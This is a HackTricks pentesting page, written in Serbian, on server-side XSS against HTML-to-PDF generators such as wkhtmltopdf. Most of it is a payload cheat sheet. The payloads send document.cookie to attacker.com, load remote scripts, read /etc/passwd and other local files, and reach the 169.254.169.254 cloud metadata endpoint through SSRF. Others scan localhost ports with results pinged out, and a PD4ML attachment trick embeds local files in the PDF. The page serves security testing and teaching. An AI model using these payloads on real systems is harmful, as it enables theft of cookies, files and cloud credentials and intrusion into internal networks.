Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da prevarite bot koji kreira PDF da izvrši proizvoljni JS kod. Dakle, ako bot za kreiranje PDF-a pronađe neku vrstu HTML tagova, on će ih interpretirati, i možete iskoristiti ovo ponašanje da izazovete Server XSS.

Molimo vas, primetite da <script></script> tagovi ne rade uvek, tako da će vam biti potrebna drugačija metoda za izvršavanje JS (na primer, zloupotreba <img ). Takođe, imajte na umu da ćete u redovnoj eksploataciji biti u mogućnosti da vidite/preuzmete kreirani pdf, tako da ćete moći da vidite sve što pišete putem JS (koristeći document.write() na primer). Ali, ako ne možete da vidite kreirani PDF, verovatno ćete morati da izvučete informacije praveći web zahteve ka vama (Blind).

  • wkhtmltopdf je poznat po svojoj sposobnosti da konvertuje HTML i CSS u PDF dokumente, koristeći WebKit rendering engine. Ovaj alat je dostupan kao open-source komandna linijska alatka, što ga čini dostupnim za širok spektar aplikacija.

  • TCPDF nudi robusno rešenje unutar PHP ekosistema za generisanje PDF-a. Sposoban je da obrađuje slike, grafiku i enkripciju, pokazujući svoju svestranost za kreiranje složenih dokumenata.

  • Za one koji rade u Node.js okruženju, PDFKit predstavlja izvodljivu opciju. Omogućava generisanje PDF dokumenata direktno iz HTML-a i CSS-a, pružajući most između web sadržaja i formata pogodnih za štampu.

  • Java programeri bi mogli preferirati iText, biblioteku koja ne samo da olakšava kreiranje PDF-a, već takođe podržava napredne funkcije poput digitalnih potpisa i popunjavanja obrazaca. Njena sveobuhvatna funkcionalnost čini je pogodnom za generisanje sigurnih i interaktivnih dokumenata.

  • FPDF je još jedna PHP biblioteka, koja se odlikuje svojom jednostavnošću i lakoćom korišćenja. Dizajnirana je za programere koji traže jednostavan pristup generisanju PDF-a, bez potrebe za opsežnim funkcijama.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Bilo koji od prethodnih ili sledećih payload-a može se koristiti unutar ovog SVG payload-a. Jedan iframe koji pristupa Burpcollab poddomeni i drugi koji pristupa metapodacima su dati kao primeri.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Možete pronaći mnogo drugih SVG payload-a na https://github.com/allanlw/svg-cheatsheet

Otkrivanje putanje

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Učitajte eksterni skript

Najbolji način da iskoristite ovu ranjivost je da zloupotrebite ranjivost kako biste naterali bot da učita skript koji lokalno kontrolišete. Tada ćete moći da promenite payload lokalno i naterate bot da ga učita sa istim kodom svaki put.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Čitaj lokalnu datoteku / SSRF

Promenite file:///etc/passwd u http://169.254.169.254/latest/user-data na primer da pokušate da pristupite eksternoj veb stranici (SSRF).

Ako je SSRF dozvoljen, ali ne možete da dođete do zanimljive domene ili IP adrese, proverite ovu stranicu za potencijalne zaobilaženja.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Kašnjenje bota

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Port Scan

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu da učita spoljne resurse). Tako da samo pokušajte da je iskoristite (pročitajte neke metapodatke?).

Attachments: PD4ML

Postoje neki HTML 2 PDF motori koji omogućavaju da specifikujete priloge za PDF, kao što je PD4ML. Možete zloupotrebiti ovu funkciju da priložite bilo koju lokalnu datoteku PDF-u. Da bih otvorio prilog, otvorio sam datoteku sa Firefox-om i dvaput kliknuo na simbol spajalice da sačuvam prilog kao novu datoteku. Zahvatanje PDF odgovora sa burp-om takođe bi trebalo da prikaže prilog u čistom tekstu unutar PDF-a.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

References

Podržite HackTricks

Last updated